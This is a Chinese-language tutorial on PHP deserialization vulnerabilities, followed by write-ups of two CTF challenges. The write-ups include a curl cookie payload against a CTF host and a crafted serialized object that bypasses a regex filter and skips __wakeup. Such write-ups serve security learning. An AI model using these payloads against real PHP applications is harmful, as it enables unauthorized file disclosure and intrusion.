PHP反序列化漏洞
一.序列化一个对象
使用函数serialize()来序列化一个对象时,该函数的返回值是一个包含字节流的字符串,以下面的代码为例:

用浏览器打开seria.php,结果如下:

可以看到,序列化函数的返回值是一个字符串,这个字符串包含了类名,和类中变量的值和属性。值得注意的是,序列化后的对象中不包含类的方法,因此对象被解序列化时需要提供类的定义,而这也正是在两个php文件中都包含了含有类A的定义的classa.inc的原因。

可以看到,这里的对象解序列化后依然拥有类中的方法
如果对象在解序列化时没有找到类的定义,那么这个对象的类就变成了__PHP_Incomplete_Class_Name,即一个没有方法的类,这时这个对象就没有用了。
二.序列化与反序列化中的魔术方法
研究一下代码:
<?php class MagicWays //覆盖原本的魔术方法 { public $ini = 2; public function \_\_construct() { echo "constructing...</br>"; } public function \_\_destruct() { echo "destructing...</br>"; } public function \_\_toString() { echo "It is transformed to string.</br>"; return " \_\_toString Done.</br>"; } /\* public function \_\_wakeup() { echo "Waking up...</br>"; } public function \_\_sleep() { echo "Sleeping...</br>"; return array(); } \*/ } $magic = new MagicWays(); $magic->ini = 1; $s = serialize($magic); var\_dump($s); $back = unserialize($s); var\_dump($back); echo "</br>this is ".$back; 运行结果如下:  从运行结果可以很简单的看出各个魔术方法的作用,应该注意两点: 1.序列化并没有像以前那样起到作用,这是因为我们修改了\_\_sleep()和\_\_wakeup()函数的内容,导致对象中的变量在序列化时并没有被提交。将这两个函数注释掉后可以看到输出恢复了正常。  2.输出的结尾有两个destructing...,这是因为序列化与反序列化起到的是在对象之间传递数据的作用。将反序列化后的变量s赋值给back的过程就相当于又根据类MagicWays创建了一个对象,只是这个对象中的变量初始值与magic相同。 #### 三.反序列化漏洞 我们用几道ctftimu来熟悉序列化和反序列化 1.BugkuCTF flag.php  网站点进去之后果然login没有任何反应,根据提示URL传参?hint=得到源代码  只需要发送一个带cookies的get请求即可,其中ISecer的值为$KEY序列化后的值,即s:0:"";。(注意这里$KEY外面是双引号,表示引用变量,如果是单引号则单纯表示字符串。) ``` payload:curl --cookie 'ISecer=s%3A0%3A%22%22%3B' 123.206.87.240:8002/flagphp/ ``` 2.攻防世界 Web\_php\_unserialize  我们可以看到,为了得到flag,需要输出fl4g.php的内容,而这又需要确保变量file的内容是fl4g.php。 首先,我们需要创建一个Demo类的对象,这个并不难,已知$var要被反序列化,因此运行下面的代码,保证var的内容是文件output中的内容即可 <?php class Demo { private $file = 'fl4g.php'; } $demo = new Demo(); file\_put\_contents('output', serialize($demo)); /\*output: O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} \*注意Demofile中的Demo前后都有两个不可视的\\00 \*也正因如此,这种题最好全程使用PHP来解决 \*/ 然而直接将output中的内容base64加密再传参并不能得到flag,因为前面有一个正则过滤,然而php存在一个feature,即当":"后存在一个加号时,反序列化仍然能正常进行。即使如此,反序列化的的进程需要调用\_\_wakeup()函数,而这个函数中的内容会让我们功亏一篑。刚好php存在另一个漏洞,即当输入的序列中类成员的属性数目大于实际数目时会跳过wakeup这一步。因此最终构造的序列如下 ``` O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} ``` 再通过base64加密 ``` file_put_contents('result', base64_encode(file_get_contents('input'))); ``` 传参得到flag。 